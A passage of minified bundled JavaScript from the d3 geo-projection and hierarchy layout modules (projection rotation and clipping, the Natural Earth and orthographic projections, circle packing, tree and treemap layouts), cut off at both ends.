q(){_=NaN,G.point=ne,A.lineStart()}function ne(Y,Q){var ie=(0,f.Og)([Y,Q]),j=w(Y,Q);p(_,F,B,O,z,N,_=j[0],F=j[1],B=Y,O=ie[0],z=ie[1],N=ie[2],a,A),A.point(_,F)}function fe(){G.point=J,A.lineEnd()}function X(){q(),G.point=W,G.lineEnd=V}function W(Y,Q){ne(m=Y,Q),n=_,C=F,x=O,I=z,k=N,G.point=ne}function V(){p(_,F,B,O,z,N,n,C,m,x,I,k,a,A),G.lineEnd=fe,fe()}return G}}var c=(0,t.l)({point:function(w,E){this.stream.point(w*d.uR,E*d.uR)}});function b(w){return(0,t.l)({point:function(E,p){var A=w(E,p);return this.stream.point(A[0],A[1])}})}function h(w,E,p,A,m){function n(C,x){return C*=A,x*=m,[E+w*C,p-w*x]}return n.invert=function(C,x){return[(C-E)/w*A,(p-x)/w*m]},n}function i(w,E,p,A,m,n){var C=(0,d.mC)(n),x=(0,d.O$)(n),I=C*w,k=x*w,B=C/w,_=x/w,F=(x*p-C*E)/w,O=(x*E+C*p)/w;function z(N,G){return N*=A,G*=m,[I*N-k*G+E,p-k*N-I*G]}return z.invert=function(N,G){return[A*(B*N-_*G+F),m*(O-_*N-B*G)]},z}function v(w){return T(function(){return w})()}function T(w){var E,p=150,A=480,m=250,n=0,C=0,x=0,I=0,k=0,B,_=0,F=1,O=1,z=null,N=M.Z,G=null,J,q,ne,fe=S.Z,X=.5,W,V,Y,Q,ie;function j(le){return Y(le[0]*d.uR,le[1]*d.uR)}function K(le){return le=Y.invert(le[0],le[1]),le&&[le[0]*d.RW,le[1]*d.RW]}j.stream=function(le){return Q&&ie===le?Q:Q=c(b(B)(N(W(fe(ie=le)))))},j.preclip=function(le){return arguments.length?(N=le,z=void 0,re()):N},j.postclip=function(le){return arguments.length?(fe=le,G=J=q=ne=null,re()):fe},j.clipAngle=function(le){return arguments.length?(N=+le?(0,P.Z)(z=le*d.uR):(z=null,M.Z),re()):z*d.RW},j.clipExtent=function(le){return arguments.length?(fe=le==null?(G=J=q=ne=null,S.Z):(0,o.Z)(G=+le[0][0],J=+le[0][1],q=+le[1][0],ne=+le[1][1]),re()):G==null?null:[[G,J],[q,ne]]},j.scale=function(le){return arguments.length?(p=+le,oe()):p},j.translate=function(le){return arguments.length?(A=+le[0],m=+le[1],oe()):[A,m]},j.center=function(le){return arguments.length?(n=le[0]%360*d.uR,C=le[1]%360*d.uR,oe()):[n*d.RW,C*d.RW]},j.rotate=function(le){return arguments.length?(x=le[0]%360*d.uR,I=le[1]%360*d.uR,k=le.length>2?le[2]%360*d.uR:0,oe()):[x*d.RW,I*d.RW,k*d.RW]},j.angle=function(le){return arguments.length?(_=le%360*d.uR,oe()):_*d.RW},j.reflectX=function(le){return arguments.length?(F=le?-1:1,oe()):F<0},j.reflectY=function(le){return arguments.length?(O=le?-1:1,oe()):O<0},j.precision=function(le){return arguments.length?(W=u(V,X=le*le),re()):(0,d._b)(X)},j.fitExtent=function(le,pe){return(0,r.qg)(j,le,pe)},j.fitSize=function(le,pe){return(0,r.mF)(j,le,pe)},j.fitWidth=function(le,pe){return(0,r.V6)(j,le,pe)},j.fitHeight=function(le,pe){return(0,r.rf)(j,le,pe)};function oe(){var le=i(p,0,0,F,O,_).apply(null,E(n,C)),pe=(_?i:h)(p,A-le[0],m-le[1],F,O,_);return B=(0,g.I)(x,I,k),V=(0,L.Z)(E,pe),Y=(0,L.Z)(B,V),W=u(V,X),re()}function re(){return Q=ie=null,j}return function(){return E=w.apply(this,arguments),j.invert=E.invert&&K,oe()}}},26867:function(te,Z,e){e.d(Z,{K:function(){return o},Z:function(){return L}});var M=e(15002),P=e(39695);function o(S,d){var g=d*d,t=g*g;return[S*(.8707-.131979*g+t*(-.013791+t*(.003971*g-.001529*t))),d*(1.007226+g*(.015085+t*(-.044475+.028874*g-.005916*t)))]}o.invert=function(S,d){var g=d,t=25,r;do{var f=g*g,a=f*f;g-=r=(g*(1.007226+f*(.015085+a*(-.044475+.028874*f-.005916*a)))-d)/(1.007226+f*(.045255+a*(-.311325+.259866*f-.06507600000000001*a)))}while((0,P.Wn)(r)>P.Ho&&--t>0);return[S/(.8707+(f=g*g)*(-.131979+f*(-.013791+f*f*f*(.003971-.001529*f)))),g]};function L(){return(0,M.Z)(o).scale(175.295)}},57962:function(te,Z,e){e.d(Z,{I:function(){return L},Z:function(){return S}});var M=e(39695),P=e(25382),o=e(15002);function L(d,g){return[(0,M.mC)(g)*(0,M.O$)(d),(0,M.O$)(g)]}L.invert=(0,P.O)(M.ZR);function S(){return(0,o.Z)(L).scale(249.5).clipAngle(90+M.Ho)}},49386:function(te,Z,e){e.d(Z,{I:function(){return L},Z:function(){return t}});var M=e(96059),P=e(39695);function o(r,f){return[(0,P.Wn)(r)>P.pi?r+Math.round(-r/P.BZ)*P.BZ:r,f]}o.invert=o;function L(r,f,a){return(r%=P.BZ)?f||a?(0,M.Z)(d(r),g(f,a)):d(r):f||a?g(f,a):o}function S(r){return function(f,a){return f+=r,[f>P.pi?f-P.BZ:f<-P.pi?f+P.BZ:f,a]}}function d(r){var f=S(r);return f.invert=S(-r),f}function g(r,f){var a=(0,P.mC)(r),l=(0,P.O$)(r),u=(0,P.mC)(f),s=(0,P.O$)(f);function y(c,b){var h=(0,P.mC)(b),i=(0,P.mC)(c)*h,v=(0,P.O$)(c)*h,T=(0,P.O$)(b),w=T*a+i*l;return[(0,P.fv)(v*u-w*s,i*a-T*l),(0,P.ZR)(w*u+v*s)]}return y.invert=function(c,b){var h=(0,P.mC)(b),i=(0,P.mC)(c)*h,v=(0,P.O$)(c)*h,T=(0,P.O$)(b),w=T*u-v*s;return[(0,P.fv)(v*u+T*s,i*a+w*l),(0,P.ZR)(w*a-i*l)]},y}function t(r){r=L(r[0]*P.uR,r[1]*P.uR,r.length>2?r[2]*P.uR:0);function f(a){return a=r(a[0]*P.uR,a[1]*P.uR),a[0]*=P.RW,a[1]*=P.RW,a}return f.invert=function(a){return a=r.invert(a[0]*P.uR,a[1]*P.uR),a[0]*=P.RW,a[1]*=P.RW,a},f}},72736:function(te,Z,e){e.d(Z,{Z:function(){return d}});function M(g,t){g&&o.hasOwnProperty(g.type)&&o[g.type](g,t)}var P={Feature:function(g,t){M(g.geometry,t)},FeatureCollection:function(g,t){for(var r=g.features,f=-1,a=r.length;++f<a;)M(r[f].geometry,t)}},o={Sphere:function(g,t){t.sphere()},Point:function(g,t){g=g.coordinates,t.point(g[0],g[1],g[2])},MultiPoint:function(g,t){for(var r=g.coordinates,f=-1,a=r.length;++f<a;)g=r[f],t.point(g[0],g[1],g[2])},LineString:function(g,t){L(g.coordinates,t,0)},MultiLineString:function(g,t){for(var r=g.coordinates,f=-1,a=r.length;++f<a;)L(r[f],t,0)},Polygon:function(g,t){S(g.coordinates,t)},MultiPolygon:function(g,t){for(var r=g.coordinates,f=-1,a=r.length;++f<a;)S(r[f],t)},GeometryCollection:function(g,t){for(var r=g.geometries,f=-1,a=r.length;++f<a;)M(r[f],t)}};function L(g,t,r){var f=-1,a=g.length-r,l;for(t.lineStart();++f<a;)l=g[f],t.point(l[0],l[1],l[2]);t.lineEnd()}function S(g,t){var r=-1,f=g.length;for(t.polygonStart();++r<f;)L(g[r],t,1);t.polygonEnd()}function d(g,t){g&&P.hasOwnProperty(g.type)?P[g.type](g,t):M(g,t)}},64684:function(te,Z,e){e.d(Z,{Z:function(){return M},l:function(){return P}});function M(L){return{stream:P(L)}}function P(L){return function(S){var d=new o;for(var g in L)d[g]=L[g];return d.stream=S,d}}function o(){}o.prototype={constructor:o,point:function(L,S){this.stream.point(L,S)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}}},674:function(te,Z,e){e.r(Z),e.d(Z,{cluster:function(){return t},hierarchy:function(){return w},pack:function(){return K},packEnclose:function(){return I},packSiblings:function(){return W},partition:function(){return xe},stratify:function(){return Fe},tree:function(){return lt},treemap:function(){return Ge},treemapBinary:function(){return Le},treemapDice:function(){return we},treemapResquarify:function(){return De},treemapSlice:function(){return ut},treemapSliceDice:function(){return Pe},treemapSquarify:function(){return Ot}});function M(Ee,ye){return Ee.parent===ye.parent?1:2}function P(Ee){return Ee.reduce(o,0)/Ee.length}function o(Ee,ye){return Ee+ye.x}function L(Ee){return 1+Ee.reduce(S,0)}function S(Ee,ye){return Math.max(Ee,ye.y)}function d(Ee){for(var ye;ye=Ee.children;)Ee=ye[0];return Ee}function g(Ee){for(var ye;ye=Ee.children;)Ee=ye[ye.length-1];return Ee}function t(){var Ee=M,ye=1,ae=1,de=!1;function Me(Ie){var Qe,et=0;Ie.eachAfter(function(Tt){var Gt=Tt.children;Gt?(Tt.x=P(Gt),Tt.y=L(Gt)):(Tt.x=Qe?et+=Ee(Tt,Qe):0,Tt.y=0,Qe=Tt)});var pt=d(Ie),St=g(Ie),_t=pt.x-Ee(pt,St)/2,Ft=St.x+Ee(St,pt)/2;return Ie.eachAfter(de?function(Tt){Tt.x=(Tt.x-Ie.x)*ye,Tt.y=(Ie.y-Tt.y)*ae}:function(Tt){Tt.x=(Tt.x-_t)/(Ft-_t)*ye,Tt.y=(1-(Ie.y?Tt.y/Ie.y:1))*ae})}return Me.separation=function(Ie){return arguments.length?(Ee=Ie,Me):Ee},Me.size=function(Ie){return arguments.length?(de=!1,ye=+Ie[0],ae=+Ie[1],Me):de?null:[ye,ae]},Me.nodeSize=function(Ie){return arguments.length?(de=!0,ye=+Ie[0],ae=+Ie[1],Me):de?[ye,ae]:null},Me}function r(Ee){var ye=0,ae=Ee.children,de=ae&&ae.length;if(!de)ye=1;else for(;--de>=0;)ye+=ae[de].value;Ee.value=ye}function f(){return this.eachAfter(r)}function a(Ee){var ye=this,ae,de=[ye],Me,Ie,Qe;do for(ae=de.reverse(),de=[];ye=ae.pop();)if(Ee(ye),Me=ye.children,Me)for(Ie=0,Qe=Me.length;Ie<Qe;++Ie)de.push(Me[Ie]);while(de.length);return this}function l(Ee){for(var ye=this,ae=[ye],de,Me;ye=ae.pop();)if(Ee(ye),de=ye.children,de)for(Me=de.length-1;Me>=0;--Me)ae.push(de[Me]);return this}function u(Ee){for(var ye=this,ae=[ye],de=[],Me,Ie,Qe;ye=ae.pop();)if(de.push(ye),Me=ye.children,Me)for(Ie=0,Qe=Me.length;Ie<Qe;++Ie)ae.push(Me[Ie]);for(;ye=de.pop();)Ee(ye);return this}function s(Ee){return this.eachAfter(function(ye){for(var ae=+Ee(ye.data)||0,de=ye.children,Me=de&&de.length;--Me>=0;)ae+=de[Me].value;ye.value=ae})}function y(Ee){return this.eachBefore(function(ye){ye.children&&ye.children.sort(Ee)})}function c(Ee){for(var ye=this,ae=b(ye,Ee),de=[ye];ye!==ae;)ye=ye.parent,de.push(ye);for(var Me=de.length;Ee!==ae;)de.splice(Me,0,Ee),Ee=Ee.parent;return de}function b(Ee,ye){if(Ee===ye)return Ee;var ae=Ee.ancestors(),de=ye.ancestors(),Me=null;for(Ee=ae.pop(),ye=de.pop();Ee===ye;)Me=Ee,Ee=ae.pop(),ye=de.pop();return Me}function h(){for(var Ee=this,ye=[Ee];Ee=Ee.parent;)ye.push(Ee);return ye}function i(){var Ee=[];return this.each(function(ye){Ee.push(ye)}),Ee}function v(){var Ee=[];return this.eachBefore(function(ye){ye.children||Ee.push(ye)}),Ee}function T(){var Ee=this,ye=[];return Ee.each(function(ae){ae!==Ee&&ye.push({source:ae.parent,target:ae})}),ye}function w(Ee,ye){var ae=new n(Ee),de=+Ee.value&&(ae.value=Ee.value),Me,Ie=[ae],Qe,et,pt,St;for(ye==null&&(ye=p);Me=Ie.pop();)if(de&&(Me.value=+Me.data.value),(et=ye(Me.data))&&(St=et.length))for(Me.children=new Array(St),pt=St-1;pt>=0;--pt)Ie.push(Qe=Me.children[pt]=new n(et[pt])),Qe.parent=Me,Qe.depth=Me.depth+1;return ae.eachBefore(m)}function E(){return w(this).eachBefore(A)}function p(Ee){return Ee.children}function A(Ee){Ee.data=Ee.data.data}function m(Ee){var ye=0;do Ee.height=ye;while((Ee=Ee.parent)&&Ee.height<++ye)}function n(Ee){this.data=Ee,this.depth=this.height=0,this.parent=null}n.prototype=w.prototype={constructor:n,count:f,each:a,eachAfter:u,eachBefore:l,sum:s,sort:y,path:c,ancestors:h,descendants:i,leaves:v,links:T,copy:E};var C=Array.prototype.slice;function x(Ee){for(var ye=Ee.length,ae,de;ye;)de=Math.random()*ye--|0,ae=Ee[ye],Ee[ye]=Ee[de],Ee[de]=ae;return Ee}function I(Ee){for(var ye=0,ae=(Ee=x(C.call(Ee))).length,de=[],Me,Ie;ye<ae;)Me=Ee[ye],Ie&&_(Ie,Me)?++ye:(Ie=O(de=k(de,Me)),ye=0);return Ie}function k(Ee,ye){var ae,de;if(F(ye,Ee))return[ye];for(ae=0;ae<Ee.length;++ae)if(B(ye,Ee[ae])&&F(N(Ee[ae],ye),Ee))return[Ee[ae],ye];for(ae=0;ae<Ee.length-1;++ae)for(de=ae+1;de<Ee.length;++de)if(B(N(Ee[ae],Ee[de]),ye)&&B(N(Ee[ae],ye),Ee[de])&&B(N(Ee[de],ye),Ee[ae])&&F(G(Ee[ae],Ee[de],ye),Ee))return[Ee[ae],Ee[de],ye];throw new Error}function B(Ee,ye){var ae=Ee.r-ye.r,de=ye.x-Ee.x,Me=ye.y-Ee.y;return ae<0||ae*ae<de*de+Me*Me}function _(Ee,ye){var ae=Ee.r-ye.r+1e-6,de=ye.x-Ee.x,Me=ye.y-Ee.y;return ae>0&&ae*ae>de*de+Me*Me}function F(Ee,ye){for(var ae=0;ae<ye.length;++ae)if(!_(Ee,ye[ae]))return!1;return!0}function O(Ee){switch(Ee.length){case 1:return z(Ee[0]);case 2:return N(Ee[0],Ee[1]);case 3:return G(Ee[0],Ee[1],Ee[2])}}function z(Ee){return{x:Ee.x,y:Ee.y,r:Ee.r}}function N(Ee,ye){var ae=Ee.x,de=Ee.y,Me=Ee.r,Ie=ye.x,Qe=ye.y,et=ye.r,pt=Ie-ae,St=Qe-de,_t=et-Me,Ft=Math.sqrt(pt*pt+St*St);return{x:(ae+Ie+pt/Ft*_t)/2,y:(de+Qe+St/Ft*_t)/2,r:(Ft+Me+et)/2}}function G(Ee,ye,ae){var de=Ee.x,Me=Ee.y,Ie=Ee.r,Qe=ye.x,et=ye.y,pt=ye.r,St=ae.x,_t=ae.y,Ft=ae.r,Tt=de-Qe,Gt=de-St,er=Me-et,Pr=Me-_t,ct=pt-Ie,Vt=Ft-Ie,Ut=de*de+Me*Me-Ie*Ie,dr=Ut-Qe*Qe-et*et+pt*pt,sr=Ut-St*St-_t*_t+Ft*Ft,nt=Gt*er-Tt*Pr,rt=(er*sr-Pr*dr)/(nt*2)-de,vt=(Pr*ct-er*Vt)/nt,gt=(Gt*dr-Tt*sr)/(nt*2)-Me,wt=(Tt*Vt-Gt*ct)/nt,mt=vt*vt+wt*wt-1,Pt=2*(Ie+rt*vt+gt*wt),zt=rt*rt+gt*gt-Ie*Ie,Xt=-(mt?(Pt+Math.sqrt(Pt*Pt-4*mt*zt))/(2*mt):zt/Pt);return{x:de+rt+vt*Xt,y:Me+gt+wt*Xt,r:Xt}}function J(Ee,ye,ae){var de=Ee.x-ye.x,Me,Ie,Qe=Ee.y-ye.y,et,pt,St=de*de+Qe*Qe;St?(Ie=ye.r+ae.r,Ie*=Ie,pt=Ee.r+ae.r,pt*=pt,Ie>pt?(Me=(St+pt-Ie)/(2*St),et=Math.sqrt(Math.max(0,pt/St-Me*Me)),ae.x=Ee.x-Me*de-et*Qe,ae.y=Ee.y-Me*Qe+et*de):(Me=(St+Ie-pt)/(2*St),et=Math.sqrt(Math.max(0,Ie/St-Me*Me)),ae.x=ye.x+Me*de-et*Qe,ae.y=ye.y+Me*Qe+et*de)):(ae.x=ye.x+ae.r,ae.y=ye.y)}function q(Ee,ye){var ae=Ee.r+ye.r-1e-6,de=ye.x-Ee.x,Me=ye.y-Ee.y;return ae>0&&ae*ae>de*de+Me*Me}function ne(Ee){var ye=Ee._,ae=Ee.next._,de=ye.r+ae.r,Me=(ye.x*ae.r+ae.x*ye.r)/de,Ie=(ye.y*ae.r+ae.y*ye.r)/de;return Me*Me+Ie*Ie}function fe(Ee){this._=Ee,this.next=null,this.previous=null}function X(Ee){if(!(Me=Ee.length))return 0;var ye,ae,de,Me,Ie,Qe,et,pt,St,_t,Ft;if(ye=Ee[0],ye.x=0,ye.y=0,!(Me>1))return ye.r;if(ae=Ee[1],ye.x=-ae.r,ae.x=ye.r,ae.y=0,!(Me>2))return ye.r+ae.r;J(ae,ye,de=Ee[2]),ye=new fe(ye),ae=new fe(ae),de=new fe(de),ye.next=de.previous=ae,ae.next=ye.previous=de,de.next=ae.previous=ye;e:for(et=3;et<Me;++et){J(ye._,ae._,de=Ee[et]),de=new fe(de),pt=ae.next,St=ye.previous,_t=ae._.r,Ft=ye._.r;do if(_t<=Ft){if(q(pt._,de._)){ae=pt,ye.next=ae,ae.previous=ye,--et;continue e}_t+=pt._.r,pt=pt.next}else{if(q(St._,de._)){ye=St,ye.next=ae,ae.previous=ye,--et;continue e}Ft+=St._.r,St=St.previous}while(pt!==St.next);for(de.previous=ye,de.next=ae,ye.next=ae.previous=ae=de,Ie=ne(ye);(de=de.next)!==ae;)(Qe=ne(de))<Ie&&(ye=de,Ie=Qe);ae=ye.next}for(ye=[ae._],de=ae;(de=de.next)!==ae;)ye.push(de._);for(de=I(ye),et=0;et<Me;++et)ye=Ee[et],ye.x-=de.x,ye.y-=de.y;return de.r}function W(Ee){return X(Ee),Ee}function V(Ee){return Ee==null?null:Y(Ee)}function Y(Ee){if(typeof Ee!="function")throw new Error;return Ee}function Q(){return 0}function ie(Ee){return function(){return Ee}}function j(Ee){return Math.sqrt(Ee.value)}function K(){var Ee=null,ye=1,ae=1,de=Q;function Me(Ie){return Ie.x=ye/2,Ie.y=ae/2,Ee?Ie.eachBefore(oe(Ee)).eachAfter(re(de,.5)).eachBefore(le(1)):Ie.eachBefore(oe(j)).eachAfter(re(Q,1)).eachAfter(re(de,Ie.r/Math.min(ye,ae))).eachBefore(le(Math.min(ye,ae)/(2*Ie.r))),Ie}return Me.radius=function(Ie){return arguments.length?(Ee=V(Ie),Me):Ee},Me.size=function(Ie){return arguments.length?(ye=+Ie[0],ae=+Ie[1],Me):[ye,ae]},Me.padding=function(Ie){return arguments.length?(de=typeof Ie=="function"?Ie:ie(+Ie),Me):de},Me}function oe(Ee){return function(ye){ye.children||(ye.r=Math.max(0,+Ee(ye)||0))}}function re(Ee,ye){return function(ae){if(de=ae.children){var de,Me,Ie=de.length,Qe=Ee(ae)*ye||0,et;if(Qe)for(Me=0;Me<Ie;++Me)de[Me].r+=Qe;if(et=X(de),Qe)for(Me=0;Me<Ie;++Me)de[Me].r-=Qe;ae.r=et+Qe}}}function le(Ee){return function(ye){var ae=ye.parent;ye.r*=Ee,ae&&(ye.x=ae.x+Ee*ye.x,ye.y=ae.y+Ee*ye.y)}}function pe(Ee){Ee.x0=Math.round(Ee.x0),Ee.y0=Math.round(Ee.y0),Ee.x1=Math.round(Ee.x1),Ee.y1=Math.round(Ee.y1)}function we(Ee,ye,ae,de,Me){for(var Ie=Ee.children,Qe,et=-1,pt=Ie.length,St=Ee.value&&(de-ye)/Ee.value;++et<pt;)Qe=Ie[et],Qe.y0=ae,Qe.y1=Me,Qe.x0=ye,Qe.x1=ye+=Qe.value*St}function xe(){var Ee=1,ye=1,ae=0,de=!1;function Me(Qe){var et=Qe.height+1;return Qe.x0=Qe.y0=ae,Qe.x1=Ee,Qe.y1=ye/et,Qe.eachBefore(Ie(ye,et)),de&&Qe.eachBefore(pe),Qe}function Ie(Qe,et){return function(pt){pt.children&&we(pt,pt.x0,Qe*(pt.depth+1)/et,pt.x1,Qe*(pt.depth+2)/et);var St=pt.x0,_t=pt.y0,Ft=pt.x1-ae,Tt=pt.y1-ae;Ft<St&&(St=Ft=(St+Ft)/2),Tt<_t&&(_t=Tt=(_t+Tt)/2),pt.x0=St,pt.y0=_t,pt.x1=Ft,pt.y1=Tt}}return Me.round=function(Qe){return arguments.length?(de=!!Qe,Me):de},Me.size=function(Qe){return arguments.length?(Ee=+Qe[0],ye=+Qe[1],Me):[Ee,ye]},Me.padding=function(Qe){return arguments.length?(ae=+Qe,Me):ae},Me}var ke="$",_e={depth:-1},be={};function ge(Ee){return Ee.id}function Te(Ee){return Ee.parentId}function Fe(){var Ee=ge,ye=Te;function ae(de){var Me,Ie,Qe=de.length,et,pt,St,_t=new Array(Qe),Ft,Tt,Gt={};for(Ie=0;Ie<Qe;++Ie)Me=de[Ie],St=_t[Ie]=new n(Me),(Ft=Ee(Me,Ie,de))!=null&&(Ft+="")&&(Tt=ke+(St.id=Ft),Gt[Tt]=Tt in Gt?be:St);for(Ie=0;Ie<Qe;++Ie)if(St=_t[Ie],Ft=ye(de[Ie],Ie,de),Ft==null||!(Ft+="")){if(et)throw new Error("multiple roots");et=St}else{if(pt=Gt[ke+Ft],!pt)throw new Error("missing: "+Ft);if(pt===be)throw new Error("ambiguous: "+Ft);pt.children?pt.children.push(St):pt.children=[St],St.parent=pt}if(!et)throw new Error("no root");if(et.parent=_e,et.eachBefore(function(er){er.depth=er.parent.depth+1,--Qe}).eachBefore(m),et.parent=null,Qe>0)throw new Error("cycle");return et}return ae.id=function(de){return arguments.length?(Ee=Y(de),ae):Ee},ae.parentId=function(de){return arguments.length?(ye=Y(de),ae):ye},ae}function Oe(Ee,ye){return Ee.parent===ye.parent?1:2}function Ce(Ee){var ye=Ee.children;return ye?ye[0]:Ee.t}function Be(Ee){var ye=Ee.children;return ye?ye[ye.length-1]:Ee.t}function $e(Ee,ye,ae){var de=ae/(ye.i-Ee.i);ye.c-=de,ye.s+=ae,Ee.c+=de,ye.z+=ae,ye.m+=ae}function Xe(Ee){for(var ye=0,ae=0,de=Ee.children,Me=de.length,Ie;--Me>=0;)Ie=de[Me],Ie.z+=ye,Ie.m+=ye,ye+=Ie.s+(ae+=Ie.c)}function Ze(Ee,ye,ae){return Ee.a.parent===ye.parent?Ee.a:ae}function Ke(Ee,ye){this._=Ee,this.parent=null,this.children=null,this.A=null,this.a=this,this.z=0,this.m=0,this.c=0,this.s=0,this.t=null,this.i=ye}Ke.prototype=Object.create(n.prototype);function st(Ee){for(var ye=new Ke(Ee,0),ae,de=[ye],Me,Ie,Qe,et;ae=de.pop();)if(Ie=ae._.children)for(ae.children=new Array(et=Ie.length),Qe=et-1;Qe>=0;--Qe)de.push(Me=ae.children[Qe]=new Ke(Ie[Qe],Qe)),Me.parent=ae;return(ye.parent=new Ke(null,0)).children=[ye],ye}function lt(){var Ee=Oe,ye=1,ae=1,de=null;function Me(St){var _t=st(St);if(_t.eachAfter(Ie),_t.parent.m=-_t.z,_t.eachBefore(Qe),de)St.eachBefore(pt);else{var Ft=St,Tt=St,Gt=St;St.eachBefore(function(Ut){Ut.x<Ft.x&&(Ft=Ut),Ut.x>Tt.x&&(Tt=Ut),Ut.depth>Gt.depth&&(Gt=Ut)});var er=Ft===Tt?1:Ee(Ft,Tt)/2,Pr=er-Ft.x,ct=ye/(Tt.x+er+Pr),Vt=ae/(Gt.depth||1);St.eachBefore(function(Ut){Ut.x=(Ut.x+Pr)*ct,Ut.y=Ut.depth*Vt})}return St}function Ie(St){var _t=St.children,Ft=St.parent.children,Tt=St.i?Ft[St.i-1]:null;if(_t){Xe(St);var Gt=(_t[0].z+_t[_t.length-1].z)/2;Tt?(St.z=Tt.z+Ee(St._,Tt._),St.m=St.z-Gt):St.z=Gt}else Tt&&(St.z=Tt.z+Ee(St._,Tt._));St.parent.A=et(St,Tt,St.parent.A||Ft[0])}function Qe(St){St._.x=St.z+St.parent.m,St.m+=St.parent.m}function et(St,_t,Ft){if(_t){for(var Tt=St,Gt=St,er=_t,Pr=Tt.parent.children[0],ct=Tt.m,Vt=Gt.m,Ut=er.m,dr=Pr.m,sr;er=Be(er),Tt=Ce(Tt),er&&Tt;)Pr=Ce(Pr),Gt=Be(Gt),Gt.a=St,sr=er.z+Ut-Tt.z-ct+Ee(er._,Tt._),sr>0&&($e(Ze(er,St,Ft),St,sr),ct+=sr,Vt+=sr),Ut+=er.m,ct+=Tt.m,dr+=Pr.m,Vt+=Gt.m;er&&!Be(Gt)&&(Gt.t=er,Gt.m+=Ut-Vt),Tt&&!Ce(Pr)&&(Pr.t=Tt,Pr.m+=ct-dr,Ft=St)}return Ft}function pt(St){St.x*=ye,St.y=St.depth*ae}return Me.separation=function(St){return arguments.length?(Ee=St,Me):Ee},Me.size=function(St){return arguments.length?(de=!1,ye=+St[0],ae=+St[1],Me):de?null:[ye,ae]},Me.nodeSize=function(St){return arguments.length?(de=!0,ye=+St[0],ae=+St[1],Me):de?[ye,ae]:null},Me}function ut(Ee,ye,ae,de,Me){for(var Ie=Ee.children,Qe,et=-1,pt=Ie.length,St=Ee.value&&(Me-ae)/Ee.value;++et<pt;)Qe=Ie[et],Qe.x0=ye,Qe.x1=de,Qe.y0=ae,Qe.y1=ae+=Qe.value*St}var yt=(1+Math.sqrt(5))/2;function bt(Ee,ye,ae,de,Me,Ie){for(var Qe=[],et=ye.children,pt,St,_t=0,Ft=0,Tt=et.length,Gt,er,Pr=ye.value,ct,Vt,Ut,dr,sr,nt,rt;_t<Tt;){Gt=Me-ae,er=Ie-de;do ct=et[Ft++].value;while(!ct&&Ft<Tt);for(Vt=Ut=ct,nt=Math.max(er/Gt,Gt/er)/(Pr*Ee),rt=ct*ct*nt,sr=Math.max(Ut/rt,rt/Vt);Ft<Tt;++Ft){if(ct+=St=et[Ft].value,St<Vt&&(Vt=St),St>Ut&&(Ut=St),rt=ct*ct*nt,dr=Math.max(Ut/rt,rt/Vt),dr>sr){ct-=St;break}sr=dr}Qe.push(pt={value:ct,dice:Gt<er,children:et.slice(_t,Ft)}),pt.dice?we(pt,ae,de,Me,Pr?de+=er*ct/Pr:Ie):ut(pt,ae,de,Pr?ae+=Gt*ct/Pr:Me,Ie),Pr-=ct,_t=Ft}return Qe}var Ot=function Ee(ye){function ae(de,Me,Ie,Qe,et){bt(ye,de,Me,Ie,Qe,et)}return ae.ratio=function(de){return Ee((de=+de)>1?de:1)},ae}(yt);function Ge(){var Ee=Ot,ye=!1,ae=1,de=1,Me=[0],Ie=Q,Qe=Q,et=Q,pt=Q,St=Q;function _t(Tt){return Tt.x0=Tt.y0=0,Tt.x1=ae,Tt.y1=de,Tt.eachBefore(Ft),Me=[0],ye&&Tt.eachBefore(pe),Tt}function Ft(Tt){var Gt=Me[Tt.depth],er=Tt.x0+Gt,Pr=Tt.y0+Gt,ct=Tt.x1-Gt,Vt=Tt.y1-Gt;ct<er&&(er=ct=(er+ct)/2),Vt<Pr&&(Pr=Vt=(Pr+Vt)/2),Tt.x0=er,Tt.y0=Pr,Tt.x1=ct,Tt.y1=Vt,Tt.children&&(Gt=Me[Tt.depth+1]=Ie(Tt)/2,er+=St(Tt)-Gt,Pr+=Qe(Tt)-Gt,ct-=et(Tt)-Gt,Vt-=pt(Tt)-Gt,ct<er&&(er=ct=(er+ct)/2),Vt<Pr&&(Pr=Vt=(Pr+Vt)/2),Ee(Tt,er,Pr,ct,Vt))}return _t.round=function(Tt){return arguments.length?(ye=!!Tt,_t):ye},_t.size=function(Tt){return arguments.length?(ae=+Tt[0],de=+Tt[1],_t):[ae,de]},_t.tile=function(Tt){return arguments.length?(Ee=Y(Tt),_t):Ee},_t.padding=function(Tt){return arguments.length?_t.paddingInner(Tt).paddingOuter(Tt):_t.paddingInner()},_t.paddingInner=function(Tt){return arguments.length?(Ie=typeof Tt=="function"?Tt:ie(+Tt),_t):Ie},_t.paddingOuter=function(Tt){return arguments.length?_t.paddingTop(Tt).paddingRight(Tt).paddingBottom(Tt).paddingLeft(Tt):_t.paddingTop()},_t.paddingTop=function(Tt){return arguments.length?(Qe=typeof Tt=="function"?Tt:ie(+Tt),_t):Qe},_t.paddingRight=function(Tt){return arguments.length?(et=typeof Tt=="function"?Tt:ie(+Tt),_t):et},_t.paddingBottom=function(Tt){return arguments.length?(pt=typeof Tt=="function"?Tt:ie(+Tt),_t):pt},_t.paddingLeft=function(Tt){return arguments.length?(St=typeof Tt=="function"?Tt:ie(+Tt),_t):St},_t}function Le(Ee,ye,ae,de,Me){var Ie=Ee.children,Qe,et=Ie.length,pt,St=new Array(et+1);for(St[0]=pt=Qe=0;Qe<et;++Qe)St[Qe+1]=pt+=Ie[Qe].value;_t(0,et,Ee.value,ye,ae,de,Me);function _t(Ft,Tt,Gt,er,Pr,ct,Vt){if(Ft>=Tt-1){var Ut=Ie[Ft];Ut.x0=er,Ut.y0=Pr,Ut.x1=ct,Ut.y1=Vt;return}for(var dr=St[Ft],sr=Gt/2+dr,nt=Ft+1,rt=Tt-1;nt<rt;){var vt=nt+rt>>>1;St[vt]<sr?nt=vt+1:rt=vt}sr-St[nt-1]<St[nt]-sr&&Ft+1<nt&&--nt;var gt=St[nt]-dr,wt=Gt-gt;if(ct-er>Vt-Pr){var mt=(er*wt+ct*gt)/Gt;_t(Ft,nt,gt,er,Pr,mt,Vt),_t(nt,Tt,wt,mt,Pr,ct,Vt)}else{var Pt=(Pr*wt+Vt*gt)/Gt;_t(Ft,nt,gt,er,Pr,ct,Pt),_t(nt,Tt,wt,er,Pt,ct,Vt)}}}function Pe(Ee,ye,ae,de,Me){(Ee.depth&1?ut:we)(Ee,ye,ae,de,Me)}var De=function Ee(ye){function ae(de,Me,Ie,Qe,et){if((pt=de._squarify)&&pt.ratio===ye)for(var 